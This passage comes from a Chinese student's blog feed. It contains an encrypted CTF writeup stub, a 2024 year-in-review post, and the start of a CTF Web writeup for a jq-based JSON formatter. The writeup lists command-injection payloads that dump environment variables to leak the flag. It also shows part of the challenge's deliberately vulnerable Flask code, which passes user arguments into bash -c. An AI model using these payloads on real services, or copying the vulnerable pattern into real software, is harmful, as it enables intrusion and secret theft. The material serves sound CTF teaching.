996f7d17876bdd97ab3aca4db230a8dcd35c4e9d6bb11daf4ae3fa70217549c9d8be10b3a8f743a1e9e1cf22efc909fd631edfad2a404ebd27af8993bc15f5423cd6a6143ed1fc66a8b63356373b72a49edba0289ff63c324794bee2999a67562b751c8e8f965e5da939eb2e05c7d88944d4246410257723409fec046afb3bc1f8c2e5b5c0b39c63689d06414ea9539a138c338d468da0bc415b6dc2cd72786a920bc07b2351790d5a42b460bee4e94f96511e6ab14a48e2c28592d93bd67d78699c20285acba65d2e45fd12c7f95c672f3bfa835ed841dab21e30c9ebd43d3f268082e30e25f391fce14fd989c62825a07d7ff6194b53d3f50571a8d6a70da70de3527811146a115c67fa247f99c88043be48adcabb14050a00cf103cb0a5b5787d63f28853723021759d61226e7a56a16a55b0d8c5de62da52c52150a558b785f9bb4d54a7d2c70b36969154642c81c2204a4640202c19f8de28501b3ab3b3465f536b338340463e3c061c6bdbf95a418829ced30401cf3be49d61d1d3e3c5782a5934e78598d040d4bd4cafda48fc1f0170d3ef9028b2630f040821c22ec1cb308c849631a3709ea1a4034150293b082ccee46cd2c32f518c15be34d2e2d71c3b2d5f8821320c91b31d88fafc1f40a9ac75f2eb457da87b7f8f09d4ebd399e813db517401b06b38962932035c7ee4bc165ef554f501e64668e8684c6fbc294f9ef6cc47aa690bc972972048bf661073b8453b2df1cd5ccc736f9500a2d756177e7d0b6197b97ac19bb05f48cb1152f863805b5b1f946f845b67bb2b03568614ca140c2a503c666bc89b2e674c91027a2f74d88d340d1fa5fb1ff5eca956f47af82ddaff57a154e95aab12df3d76e731b29811fc991588ff7f659be3fc379552a2d492eb1257a299614b34370863ac2af9f00398c104622822eb22d5547a585bd59f3fabd9428b0ca882c841527134dd162585998c6f825958343c4445b8550ab3952ef50821af152a8eeab22c2eca976ca8a2945954f10b158efefa91ca2c7977acc5fe090121c9b039207f13e0e5218f0fbc2177f52c22cb129559e0dd5dcc0a25c8d56e49c10fd81769e07a1f2a32d54c40e8f87b8bd3951dc14ce716923b6b28ab7ad13d2dfd9f1b354afdd3cb525ef5c36bcde66041ccc85dc7dbb31203cd33a1121b04d69097114fdcd311f7c90e541f76da51b735be8d6f3c898f1949e137ecf1f14589fa713cbdc744a82e6fe8bdc7355356527897b9141715f741f0a35ec29e5570802673321f03079448ac61e3ba22e8a10cd61833c19e89a1e2350f400849a28eaf4f318819e155a65c43f76271205ebfe86ac069dc64f25af915f88e1e4a2b33aea95bae94c681198c6ed101bc51eeffc32b250bf8c365f56e8185114e27ee3bc6fc2122fab8dba0c0c7afddc4b27ec5bde690ba6a9a0f2238af8ac38b150b59d8d6f76eac3275560755b384518df345803b8b632a05a93346fe142b905121c30ee905a7b976e00a66c1196443a9947591c59aa77ac175b6658a7244f79d1982629e06f2f1d0023699b0971339110f5cd9743c347043b3e79b148ecf6626a2dc9a26a9cc2d1db848a3d5729e897287e1f53d1d47e417e745a8044082b9284e0958e62750be2abafae83aec149992c7cc6ee8d247d9de92e0260c851ba64ef73dca81a8729da9d88b772de5d6486ed23c35455026c3904fa54299096f649930e4cb54c15c2dc77ad9701c07dfd8608453431df806375a0a763812d8a542f9fdd92d2e89c867d51d14a1d8622c5b4d092e78722acfa7bb633350d12f4270ecd71b97a1e036482bf6e324426145dab843d7172c0e0892d2650304321baafc9622c393820149a411d4d11e00235db1baaa9529b7509f2bf70fdfeea1de8a097c4d3fefd4cc3584e846bd3ac9245f067869faeed64d02b615d92bf1fad09764dac81712e3fb8add17686756886754419daef79b30b6203764f085786ea4d4193069cf66d4ae59a6c9dbb1e585973d909bf205c2022bb354a62d68fbf5dfa5906f058e40d66e11e8dca699abb1c263b8c91e66f4641c3aac9f320d5bd84845f7659506f5e35556cf6b107030ef0143ec49d1a802ff41d914fd5a6356e3b324f9862f93d971003f788b53dd639b6b32f37cb974d34d2b463e612ea86287dc5fab146dbc81c33a4001be698798357">        <a onclick="decrypt(this)" style="margin-left:.35em;margin-right:.35em">解密</a>      </form>    </div>    </body></html>    <script>    async function sha384(msg) {      const encoder = new TextEncoder();      const data = encoder.encode(msg);      const hash = await window.crypto.subtle.digest('SHA-384', data);      return new Uint8Array(hash);    }    async function aes_decrypt(key, iv, cipher) {      const algorithm = { name: 'AES-CBC', iv: iv };      const cryptoKey = await window.crypto.subtle.importKey('raw', key, algorithm, false, ['decrypt']);      const decrypted = await window.crypto.subtle.decrypt(algorithm, cryptoKey, cipher);      return new TextDecoder().decode(decrypted);    }    async function decrypt(el) {      const password = el.parentNode.querySelector('.password').value;      const cipher = el.parentNode.querySelector('.cipher').value;      const hash = await sha384(password);      const key = hash.slice(0, 32);      const iv = hash.slice(32, 48);      const cipherBuffer = Uint8Array.from(cipher.match(/.{1,2}/g).map((byte) => parseInt(byte, 16)));      try {        const decrypted = await aes_decrypt(key, iv, cipherBuffer);        el.parentNode.parentNode.style.textAlign = 'left';        el.parentNode.parentNode.classList.remove('card');        el.parentNode.parentNode.innerHTML = decrypted;      } catch (e) {        alert('密码错误！');      }    }    </script>    ]]></content>
    
    
    <summary type="html">&lt;p&gt;又是一年一度的校赛，今年继续给校赛出了 2 道 Web 题：SmartGrader、EzWebAuthn(_Revenge)，赛后按照惯例发一下出题思路和解题过程。不过考虑到题目后续会搬到校内 OJ，为避免影响后面同学的练习效果就全部加密了，密码是对应题目的 Flag，解出后可以来看看出题思路和可能的其他解法。&lt;/p&gt;</summary>
    
    
    
    <category term="水" scheme="https://blog.hans362.cn/categories/%E6%B0%B4/"/>
    
    
    <category term="Web" scheme="https://blog.hans362.cn/tags/Web/"/>
    
    <category term="网络安全" scheme="https://blog.hans362.cn/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    <category term="CTF" scheme="https://blog.hans362.cn/tags/CTF/"/>
    
    <category term="Writeup" scheme="https://blog.hans362.cn/tags/Writeup/"/>
    
    <category term="解题报告" scheme="https://blog.hans362.cn/tags/%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/"/>
    
  </entry>
  
  <entry>
    <title>2024年终总结</title>
    <link href="https://blog.hans362.cn/post/2024-annual-report/"/>
    <id>https://blog.hans362.cn/post/2024-annual-report/</id>
    <published>2024-12-31T15:59:59.000Z</published>
    <updated>2025-12-31T14:36:17.814Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>又到了一年一度的年终总结时间，失踪人口回归！</p><p>上一次更新博客还是在 4 月份，之后虽然有那么几次想要写个周记什么的，但是都因为懒或忙搁置了，就这么一路拖拖拖竟然拖到了年底。想着年终总结可不能再咕了，于是赶在 2024 年的最后一天，在紧张刺激的期末周复习中忙里偷闲写下了这篇文章。那么废话不多说，让我们一起来回顾一下这一年吧！</p><span id="more"></span><h2 id="回顾-2024"><a class="markdownIt-Anchor" href="#回顾-2024"></a> 回顾 2024</h2><h3 id="学业"><a class="markdownIt-Anchor" href="#学业"></a> 学业</h3><p>不知不觉就在 SJTU 混到了大三，已经是老东西了🥺。</p><p>今年的春季学期总算正式转入了信息安全专业，开始按照新的培养计划上课。由于转专业之前欠下了好几门信安的专业基础课，于是这一年都在狂赶进度，终于也是在这个秋季学期把欠下的最后两门课补上了，下学期开始就追平进度咯。</p><p>在信安专业上了一年的课，也是对你交信安改革后的培养计划有了自己的感受。确实有一些课程的质量还不错，比如信息安全综合实践、编译原理、信息安全数学基础、算法（计算）复杂度等，但是“金课”也不少，比如保留至今的信号与系统、数字信号处理等。总体来说信安的课程是多且杂，导致每门课只有 2 学分（搞笑的是信号与系统竟然是唯一的 3 学分专业基础课），学时被严重压缩，很多课和 CS 相比都讲得比较浅，比如编译原理只讲到前端的语法分析，数据库原理只讲了关系代数、SQL、关系规范化，真想深入还是得靠自学。</p><h3 id="技术"><a class="markdownIt-Anchor" href="#技术"></a> 技术</h3><p>今年大概就是继续打 CTF 以及 HW 的一年，虽然学业繁忙咕掉了很多比赛，但是一年下来也参加了不少，收获还是挺多的。除此之外，校赛的时候第一次试着出了几道 CTF Web 题，也挺有意思的。</p><p>今年的 GitHub 小绿墙比去年稍微好一点，不过很多其实是课程大作业贡献的提交（看时间就知道了 hhh），等有空了打算整理一下把一些大作业的仓库公开出来。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/4f26f0393b745f9fe30d4fe7e2037e70.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/4f26f0393b745f9fe30d4fe7e2037e70.png" srcset="/loading.gif" alt=""></p><p>今年也接手了几个信息系统的开发以及运维工作，不得不吐槽一下其中某个由某公司开发到一半的系统，代码质量糟糕、架构混乱、到处都是 Bug，简直是屎山代码，功能上并不复杂的系统竟然给拆成了七八个服务，需要互相之间通信同步数据，而且很多东西都要依靠数据库中存储的码表和配置项才能运行起来，根本没法搭出测试环境。后来硬是在生产环境上心惊胆战地小修小补解决了一些比较紧迫的问题，后续还有一些更复杂的需求也不知道是继续开发好，还是直接重构整个系统好，明年再说吧。</p><h3 id="博客"><a class="markdownIt-Anchor" href="#博客"></a> 博客</h3><p>哇，博客已经 7 周年啦！来看看今年的统计数据吧！</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/1e544639b6f121e236fed19ecb542aea.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/1e544639b6f121e236fed19ecb542aea.png" srcset="/loading.gif" alt=""></p><p>今年 Hans362 's Blog 收获 3.13k 位独立访客 5.26k 次浏览，平均访问时间 46s。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/a75275d201350491b0db0acea27ce632.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/a75275d201350491b0db0acea27ce632.png" srcset="/loading.gif" alt=""></p><p>今年发布了 2 篇文章，数量继续骤减，博客的草都长到两米高了，明年一定要多写点！<s>（你去年也是这么说的，怎么回事呢）</s> 要是还有你没读过的，不妨去看看吧。</p><p>访客们都喜欢用什么浏览器/OS/设备呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/a723d37dfa0190ad48c95f9bc58eb99e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/a723d37dfa0190ad48c95f9bc58eb99e.png" srcset="/loading.gif" alt=""></p></details><p>访客们都来自哪些国家/<strong>地区</strong><s>用哪里的魔法节点</s>呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/88488ff92ce9d26065038c9afb17a9de.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/88488ff92ce9d26065038c9afb17a9de.png" srcset="/loading.gif" alt=""></p></details><p>今年点击量排名前 5 的文章又是哪几篇呢？</p><details><summary>揭晓答案</summary><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/85927894f23008bfb788ea94be2585a9.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/85927894f23008bfb788ea94be2585a9.png" srcset="/loading.gif" alt=""></p></details><p>今年博客新增 5 条有效评论，感谢每位留言的朋友🥰。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/109481d7ac2fdf309bfa0f8f254a73d3.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/109481d7ac2fdf309bfa0f8f254a73d3.png" srcset="/loading.gif" alt=""></p><h3 id="足迹"><a class="markdownIt-Anchor" href="#足迹"></a> 足迹</h3><p>嘿嘿，除了过年回老家，今年借着出差/比赛/旅游的机会，又去了不少地方，就按时间回顾一下吧。</p><h4 id="1-月哈尔滨"><a class="markdownIt-Anchor" href="#1-月哈尔滨"></a> 1 月：哈尔滨</h4><p>去哈工大参加活动，详见 <a href="/posts/weekly-31">周记#31</a>。作为南方人第一次在冬天去这么北的地方，也算是印象非常深刻的体验了。</p><h4 id="6-月福州"><a class="markdownIt-Anchor" href="#6-月福州"></a> 6 月：福州</h4><p>去福师大参加信安国赛华东南分区赛。当时福州的天气是真的热，比赛场地在福师大的体育馆里，本来甚至没有空调，后来比赛前一天临时加装了几台，但是效果并不明显，比赛的时候还是热得汗流浃背🥵。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/3e1398108702eec0f6371be75a4e0358.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/3e1398108702eec0f6371be75a4e0358.jpg" srcset="/loading.gif" alt=""></p><p>最要命的还得是电脑，队友的 Intel MacBook 直接给热黑屏了，我的 ThinkBook 14+ 2022 当时倒是还好，虽然烫手但至少不卡（不过五个月后这台笔记本暴毙了，这事后面再说）。</p><p>好在题目难度还行，先 Break 再 Fix 的赛制也没有像某些赛区那样出乱子，唯一出题失误的就是那道 PHP Pwn 题，由于配置不当造成 Flag 直接出现在了 PHPINFO 里，属于是点击就送，而我们竟然没发现，硬是老老实实把它做出来了😂。最后感谢队友们带飞，拿了分区赛第二，顺利晋级全国赛。</p><h4 id="7-月成都"><a class="markdownIt-Anchor" href="#7-月成都"></a> 7 月：成都</h4><p>去川大参加信安国赛全国总决赛。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/1b55c0800ea22149dfe174f4be3a6415.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/1b55c0800ea22149dfe174f4be3a6415.jpg" srcset="/loading.gif" alt=""></p><p>决赛可能是太紧张了，有点小失误。第一天 AWDP，某道 Web 题我修了半天死活修不好，一直报 Check down，最后发现竟然是本地调试的时候把运行端口改了，上传的时候忘记改回去了，浪费了好多时间。队友写某道 Pwn 题修复脚本的时候，路径漏掉了开头的 <code>/</code>，导致始终没有覆盖掉原始的文件，然后也是死活修不好，一直报利用成功，直到比赛结束之后才发现。第二天靶场渗透，一开始进展还算顺利，结果卡在了 Jenkins 弱口令上，因为下意识认为比赛里应该不会搞弱口令这种漏洞，就没去尝试爆破，导致后面的路都走不通了。最后离一等奖还是差了一点，拿了二等奖，不过也挺不错的了。</p><p>比赛结束后又在成都多待了一天，去年暑假匆匆忙忙来成都比完赛就走了，今年当然要抓住机会好好玩玩。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/60e3982b1842c98ca682d414324e07a0.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/60e3982b1842c98ca682d414324e07a0.jpg" srcset="/loading.gif" alt=""></p><p>来四川怎么能不看大熊猫呢？🐼真的好可爱。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/87a15e191b4da57428499dea81ae8510.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/87a15e191b4da57428499dea81ae8510.jpg" srcset="/loading.gif" alt=""></p><p>这次去程又体验了一把 C919，看编号竟然和去年是同一架，餐食依旧不错（大概是目前坐过的唯一能吃饱的飞机餐）。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/ac1c5acbca9a3c997c796c2e58a99076.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/ac1c5acbca9a3c997c796c2e58a99076.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/95003007f2a5e3cd2db72009aa055300.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/95003007f2a5e3cd2db72009aa055300.jpg" srcset="/loading.gif" alt=""></p><h4 id="9-月泉州"><a class="markdownIt-Anchor" href="#9-月泉州"></a> 9 月：泉州</h4><p>因为今年秋季学期开学比较晚，趁着中小学已经开学，和爸妈错峰出去玩了一趟。旅游淡季出去玩是真的爽，上海到泉州的机票只要 350，景点人也很少。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/6741667914c54b15ba1ff870c5ded547.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/6741667914c54b15ba1ff870c5ded547.jpg" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/54c77a5b9f223e03c72f81bffb540f30.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/54c77a5b9f223e03c72f81bffb540f30.jpg" srcset="/loading.gif" alt=""></p><h3 id="数码"><a class="markdownIt-Anchor" href="#数码"></a> 数码</h3><p>今年在数码产品上花了不少钱，懒得单独开测评帖了，就在这里记录一下吧。</p><h4 id="三星-ssd-980-1tb"><a class="markdownIt-Anchor" href="#三星-ssd-980-1tb"></a> 三星 SSD 980 1TB</h4><p>严格来说这是去年 11 月在京东买的，加装到了笔记本上，结果今年 9 月的时候发现出现了 0E 错误，幸亏发现及时赶紧做了数据备份，没有伤及重要数据，随后联系三星售后处理。整个售后流程还是很满意的，直接电话联系三星客服，报序列号留个邮箱，客服会发送一张信息单，填一下信息和硬盘一起发顺丰到付寄过去就行了，而且可以寄顺丰特快。大概两天后就接到电话说给我直接换新，也是发的顺丰特快，第二天新硬盘就到手了，到目前为止没再出现问题。关于 0E 的原因也不好说，可能是三星品控的问题，也可能是长时间高温使用导致的。总之用固态硬盘得养成勤备份的习惯，买还是可以放心买的，出问题大不了就走售后换新，反正数据有备份。</p><h4 id="西部数据-pssd-p40-2tb"><a class="markdownIt-Anchor" href="#西部数据-pssd-p40-2tb"></a> 西部数据 PSSD P40 2TB</h4><p>临时买来转移故障硬盘上的资料，现在当 Mac Mini 尿袋用了。RGB 灯效确实很炫酷，外观也挺好看，不过这速度和宣传的 2000MB/s 差的有点远啊，顺序读写都只有 900MB/s，难不成这 2000MB/s 是两个加起来？除非你特别喜欢这个外观，否则不建议购买，还是移动硬盘盒+固态硬盘的组合比较合适。</p><h4 id="glinet-mt3000"><a class="markdownIt-Anchor" href="#glinet-mt3000"></a> Glinet MT3000</h4><p>宿舍之前的路由器是 R6300V2，刷了梅林固件感觉有点跑不动了，经常出现高负载断流的情况，于是就换了这个 MT3000。外观小巧很可爱，拿来跑魔法上网以及 ZeroTier 绰绰有余，WiFi 6 160MHz 速度也很快，就是略贵了一点。</p><h4 id="索尼-wf1000-xm5"><a class="markdownIt-Anchor" href="#索尼-wf1000-xm5"></a> 索尼 WF1000-XM5</h4><p>之前耳机一直用的是买手机送的小米 Air 3 SE，属于是听个响的水平，也没有主动降噪功能。9 月份的时候突然坏了，于是打算换个好一点的降噪耳机，作为安卓用户就无脑入了 WF1000-XM5。降噪效果确实是强，能够有效过滤室友的键盘声以及呼噜声，人声虽然抑制效果不好，但是也会让人感觉像是从遥远的地方传来的一样，不集中注意力就听不清楚说话的内容。不过这耳机很大一部分降噪效果来自于耳塞提供的被动降噪，以至于不太容易察觉到主动降噪开关的效果。音质方面索味十足，配套的 APP 能够通过做小测试的方式调节适合自己的均衡器方案，有点意思。</p><p>要说缺点那就是听诊器效应明显，走路的时候耳朵里会有咚咚的声音，不过我一般也只在宿舍里用，所以影响不大。另外就是 LDAC 协议下连接稳定性不太好，稍微走远个几米就容易出现时不时的卡顿，在 AAC 下就一切正常，所以 LDAC 只适合在设备旁边用。</p><h4 id="联想-thinkbook-14-2024"><a class="markdownIt-Anchor" href="#联想-thinkbook-14-2024"></a> 联想 ThinkBook 14+ 2024</h4><p>10 月底的某天下午，赶大作业赶到一半，我的 ThinkBook 14+ 2022 突然死机了，表现为屏幕突然定住鼠标动不了，原以为只是一次普通的死机，结果重启之后就卡在联想 LOGO 处再也开不了机了。拿去学校电脑店看了下，排除了硬盘的问题，就赶紧先把系统克隆出来。由于急着完成大作业，送修还需要一周，于是在这个不尴不尬的时间点无脑下单了次日达的 ThinkBook 14+ 2024，选了 Ultra 5 125H + RTX 4060 的配置，到手后简单检测了一下就把旧系统直接还原到硬盘上，开机通过 Windows Update 补一下驱动就可以用了。</p><p>时隔两年这款笔记本在外观上没有太大区别，但是重量重了好多，风扇噪音也变得巨大。Ultra 5 125H 的性能和 12 代 12500H 相比毫无提升，显卡从 RTX 2050 升级到了 RTX 4060，8G 显存使得跑本地大模型终于没有压力了，内存从 16G 升到了 32G，硬盘从 512G 升到了 1T。除此之外还多了一颗 NPU，不过拿来跑大模型就别想了，目前唯一的使用场景是 Windows 11 的工作室效果，可以用来处理背景虚化、人像居中等。整体来看依然是一台中规中矩的全能本，但是相比 2022 款提升有限，很多地方的体验不如 2022 款，远没有两年前入手 2022 款的时候那种惊艳的感觉了。</p><p>至于原先的那台 ThinkBook 14+ 2022 经过检测是 CPU 有问题，由于已经过保并且没有延保，继续维修感觉不太值得，所以就暂时放在那里当个砖头了，至少已经用它创造了比它本身更大的价值了。只能说目前对于 ThinkBook 系列的耐用性有点担忧，看看手上的这台 2024 款能用多久吧。</p><h4 id="mac-mini-m4"><a class="markdownIt-Anchor" href="#mac-mini-m4"></a> Mac Mini M4</h4><p>国补的 M4 实在是太香了，没忍住花了 ¥3599 买了丐版，正好之前买的 WD P40 可以挂上来补充硬盘空间。由于之前用过 macOS 所以上手还是挺快的，用惯了 Windows 感觉 macOS 的 UI 真的好好看，<s>好看是第一生产力</s>。M4 芯片的性能也确实很惊艳，暴打我这台 ThinkBook 14+ 2024 的 Intel Ultra 5 125H，而且温度日常保持在 40 度左右，听不到风扇的声音，不像 Windows 笔记本开个机风扇就呼呼响，还要卡一会儿。现在这台 Mac Mini 放在宿舍做主力机了，Windows 笔记本带出去上课用或者在一些需要 Windows 的场景下用。依然不推荐没有 Windows 设备的计算机专业同学入手 Mac，不然还是会有很多作业做不了的。不过这学期计算机组成与系统结构这门课刚好有个使用 ARMv8 SIMD 指令集加速矩阵乘法的汇编作业，可以直接在 M4 Mac Mini 上做，不需要再去租 ARM 服务器申请报销了。</p><h4 id="redmi-a27u-4k-type-c-显示器"><a class="markdownIt-Anchor" href="#redmi-a27u-4k-type-c-显示器"></a> Redmi A27U 4K Type-C 显示器</h4><p>买来配 Mac Mini 使用的，赶上了宁波国补 ¥1274 拿下，还是很香的。色彩确实很果味，箱子里还有一张出厂时的色彩校准报告，每台显示器都不一样。接口上正好提供了两个 USB-A 口，使用 Type-C 线连接 Mac Mini 后就可以直接连接键鼠，不用再购买转接头了。</p><h3 id="音乐"><a class="markdownIt-Anchor" href="#音乐"></a> 音乐</h3><p>来看看今年的听歌报告吧！</p><p><img src="https://hans362-img.oss.0vv0.top/2024/12/31/64a64824227ef1362cbe258f07858c2b.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/64a64824227ef1362cbe258f07858c2b.jpg" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2024/12/31/6d5391963f776523f7c858a42ce0c36d.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/6d5391963f776523f7c858a42ce0c36d.jpg" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2024/12/31/8ef24cf1c44daf30d95df8c22e5002dc.jpg" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/12/31/8ef24cf1c44daf30d95df8c22e5002dc.jpg" srcset="/loading.gif" alt=""></p><p>嘿嘿，年度歌手又是 ChiliChill，吹爆今年出的新专，百听不厌，可惜今年上海站巡演的时候刚好在外地，希望下次有机会去现场听。</p><h2 id="展望-2025"><a class="markdownIt-Anchor" href="#展望-2025"></a> 展望 2025</h2><p>时间过得真快，明年 9 月就要大四了，希望 2025 年：</p><ul><li>顺利保研本校</li><li>去更多的地方玩玩玩</li><li>多运动（今年继续颓废了一年）</li><li>保持博客更新，经常来除除草（今年继续颓废了一年）</li><li>在成为<s>大黑客</s>的路上继续加油</li><li>身体健康，平安快乐</li></ul><p>最后感谢读到这的你，新年快乐呀🥳，祝你的 2025 年一切顺利、心想事成！</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;又到了一年一度的年终总结时间，失踪人口回归！&lt;/p&gt;
&lt;p&gt;上一次更新博客还是在 4 月份，之后虽然有那么几次想要写个周记什么的，但是都因为懒或忙搁置了，就这么一路拖拖拖竟然拖到了年底。想着年终总结可不能再咕了，于是赶在 2024 年的最后一天，在紧张刺激的期末周复习中忙里偷闲写下了这篇文章。那么废话不多说，让我们一起来回顾一下这一年吧！&lt;/p&gt;</summary>
    
    
    
    <category term="杂文" scheme="https://blog.hans362.cn/categories/%E6%9D%82%E6%96%87/"/>
    
    
    <category term="年终总结" scheme="https://blog.hans362.cn/tags/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>SJTU-CTF / GEEKCTF 2024 部分 Writeup</title>
    <link href="https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/"/>
    <id>https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/</id>
    <published>2024-04-24T15:33:33.000Z</published>
    <updated>2025-12-31T14:36:17.824Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>去年还是选手，今年变成出题人了（</p><p>这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题：YAJF、Secrets、SafeBlog2、PicBed，赛后决定在博客上公开一下出题人的部分 Writeup 供参考。</p><span id="more"></span><h2 id="yajf"><a class="markdownIt-Anchor" href="#yajf"></a> YAJF</h2><p>Yet Another JSON Formatter.</p><p>Do you know <code>jq</code>? <code>jq</code> is a lightweight and flexible JSON processor.</p><p>P.S. The flag is inside an environment variable.</p><details><summary>答题情况</summary><p>SJTU-CTF 5 Solves / 764 pts</p><p><code>0ops{rC3_1S_5o_eEEe@sY_hHhhHHH}</code></p><p>GEEKCTF 27 Solves / 297 pts</p><p><code>flag{rC3_1S_5o_eEEe@sY_hHhhHHH}</code></p></details><hr><p>一个在线 JSON 格式化工具，考察命令注入。</p><p>通过抓包不难发现，该工具是把原始 JSON 以及格式化参数 POST 到后端进行处理的。题目描述中已经明示使用了 <a href="https://jqlang.github.io/jq/"><code>jq</code></a>，而 <a href="https://jqlang.github.io/jq/"><code>jq</code></a> 是一个命令行工具，并且传入的几种格式化参数刚好和 <a href="https://jqlang.github.io/jq/"><code>jq</code></a> 文档中的一致，不难嗅到一丝命令注入的味道。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_609741124f06930fec9f4fdda79a602b.png" srcset="/loading.gif" alt=""></p><p>经过一番 Fuzz 可以发现，只控制传入的 <code>json</code> 是无法实现命令执行的，这其实是因为 <code>json</code> 是直接作为 <code>stdin</code> 输入的，并不是命令的一部分。而通过控制传入的 <code>args</code> 则可以实现命令执行，不过要求每个 <code>args</code> 的长度不能超过 5，且输出必须是合法的 JSON。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5cd644a87a173b384ef6fd06cb5cf227.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_319d22e1e326ed5a61efe1aa8870b38a.png" srcset="/loading.gif" alt=""></p><p>要达到这些要求并不困难，一种简单的办法是使用管道符，将 <code>env</code> 命令的输出通过 <code>jq -R</code> 转换成合法的 JSON。在大家的 Writeup 中也看到了五花八门的解法，以下列举一些较为简短的供参考。</p><pre><code class="hljs plain">args=|env|&amp;args=jq&amp;args=-R&amp;json={}args=&lt;&lt;&lt;&amp;args=`env`&amp;args=-R&amp;json={}args=;echo&amp;args=\"&amp;args=$FLAG&amp;args=\"&amp;json={}args=;&amp;args=echo&amp;args=[\"&amp;args=`&amp;args=env&amp;args=`&amp;args=\"]</code></pre><details><summary>你知道吗</summary><p>单个数字、单个双引号包围的字符串都是合法的 JSON。</p></details><p>最后揭秘一下命令到底是怎么拼接的，不过都能执行命令了，拖一份源码出来看看应该也不难吧。</p><pre><code class="hljs python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():    <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"POST"</span>:        args = request.form.getlist(<span class="hljs-string">"args"</span>)        json = request.form.get(<span class="hljs-string">"json"</span>, <span class="hljs-string">""</span>)        <span class="hljs-comment"># Limit argument length</span>        <span class="hljs-keyword">for</span> arg <span class="hljs-keyword">in</span> args:            <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(arg) &gt; <span class="hljs-number">5</span>:                <span class="hljs-keyword">return</span> render_template(                    <span class="hljs-string">"index.html"</span>,                    error=<span class="hljs-string">"One or more arguments are too long."</span>,                    args=args,                    json=json,                )        <span class="hljs-keyword">try</span>:            formatted = subprocess.check_output(                [<span class="hljs-string">"bash"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">f'jq . <span class="hljs-subst">{<span class="hljs-string">" 